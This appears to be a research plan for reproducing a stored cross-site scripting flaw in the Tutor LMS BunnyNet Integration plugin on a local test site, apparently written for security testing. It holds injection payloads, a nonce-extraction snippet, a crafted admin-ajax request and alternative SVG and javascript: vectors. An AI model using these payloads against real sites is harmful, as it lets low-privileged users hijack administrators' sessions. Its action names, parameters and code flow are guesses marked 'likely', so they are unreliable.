Tutor LMS BunnyNet Integration <= 1.0.0 - Authenticated (Tutor instructor+) Stored Cross-Site Scripting

This research plan focuses on identifying and exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the Tutor LMS BunnyNet Integration plugin.

1. Vulnerability Summary

The Tutor LMS BunnyNet Integration (<= 1.0.0) fails to properly sanitize and escape input provided by users with tutor_instructor privileges or higher. Specifically, when an instructor configures Bunny.net video settings (likely Library IDs, Pull Zone URLs, or individual video metadata), the input is stored in the database and subsequently rendered on the frontend (lesson pages) or backend (course management) without sufficient output escaping. This allows an attacker to inject arbitrary JavaScript that executes in the context of any user (including administrators) who views the affected page.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php or wp-admin/post.php.
• Action (Inferred): The plugin likely uses an AJAX action such as tutor_bunnynet_save_settings or hooks into save_post via the Tutor LMS lesson/course editor.
• Vulnerable Parameter: Likely parameters include bunnynet_library_id, bunnynet_pull_zone, or bunnynet_video_id.
• Authentication: Authenticated with tutor_instructor role or higher.
• Preconditions: The Tutor LMS plugin must be active, and the BunnyNet Integration plugin enabled.

3. Code Flow (Inferred)

1. Entry Point: An instructor navigates to the Tutor LMS settings for Bunny.net or edits a lesson to add a Bunny.net video.
2. Processing: The instructor submits a form or triggers an AJAX request containing the payload.
3. Storage: The plugin receives the input and uses update_option() or update_post_meta() without applying sanitize_text_field() or wp_kses().
4. Sink: When a student or administrator views the lesson/course, the plugin retrieves the value using get_option() or get_post_meta() and echoes it directly into the HTML (e.g., inside a data- attribute of a video player or a src attribute) without esc_attr() or esc_url().

4. Nonce Acquisition Strategy

To exploit AJAX-based settings, a nonce is required.

1. Identify Shortcode/Page: Identify the Tutor LMS settings page where Bunny.net is configured. This is usually wp-admin/admin.php?page=tutor-settings.
2. Navigate: Use browser_navigate to access the settings page as an Instructor.
3. Variable Extraction: The plugin likely localizes a script using wp_localize_script. Look for global objects like tutor_bunnynet_data or tutor_admin_params.
4. JS Command:

   // Example based on Tutor LMS patterns
   browser_eval("window.tutor_admin_params?.nonce || window.tutor_bunnynet_data?.nonce")
   

5. Verify Action: Check the wp_create_nonce() call in the source. If it uses a specific action (e.g., tutor_bunnynet_action), ensure the browser_eval targets that specific nonce.

5. Exploitation Strategy

Step 1: Payload Selection

Use a payload that breaks out of an HTML attribute, as this is the most common sink for integration IDs:
"><script>alert(document.domain)</script>
Or, if rendered inside a JS object:
12345"};alert(document.domain);{"a":"

Step 2: HTTP Request (AJAX)

Submit the payload to the settings handler.

• Method: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Content-Type: application/x-www-form-urlencoded
• Body:

  action=tutor_bunnynet_save_settings&bunnynet_library_id="><script>alert(document.domain)</script>&nonce=[EXTRACTED_NONCE]
  

Step 3: Triggering Execution

Navigate to a frontend page where the Bunny.net video is rendered:

• URL: http://localhost:8080/lessons/test-lesson/

6. Test Data Setup

1. Instructor User: Create a user with the tutor_instructor role using WP-CLI.

   wp user create instructor instructor@example.com --role=tutor_instructor --user_pass=password
   

2. Course/Lesson: Create a course and a lesson to associate the video with.

   wp post create --post_type=courses --post_title="XSS Test Course" --post_status=publish
   wp post create --post_type=lesson --post_title="XSS Test Lesson" --post_status=publish --post_parent=[COURSE_ID]
   

3. Enable Integration: Ensure the BunnyNet Integration is toggled "ON" in Tutor LMS settings.

7. Expected Results

• Storage: The response from the admin-ajax.php request should return {"success":true}.
• Execution: Upon navigating to the lesson page, a JavaScript alert box displaying the domain name should appear, confirming code execution.
• DOM Inspection: The page source should contain the raw payload:

  <div class="tutor-video-player" data-library-id=""><script>alert(document.domain)</script>">...</div>
  

8. Verification Steps

1. Check Database: Use WP-CLI to confirm the payload is stored in the options or post meta.

   wp option get tutor_bunnynet_settings
   # OR
   wp post meta list [LESSON_ID]
   

2. Verify Admin Impact: Log in as an Administrator and visit the same lesson page. The alert should still trigger, demonstrating the ability to target higher-privileged users.

9. Alternative Approaches

• Post Meta Injection: If global settings are sanitized, check if the "BunnyNet" fields within the Lesson Editor (Post Meta) are vulnerable. The request would target post.php with action=editpost.
• SVG Injection: If the plugin allows uploading a custom poster image or SVG icon for the video player through Bunny.net settings, try uploading an SVG with an onload handler.
• Pull Zone URL: If the "Pull Zone URL" field is vulnerable, use a javascript: protocol if it is rendered within an <a> tag or src attribute.
  • Payload: javascript:alert(1) (if reflected in a way that allows execution).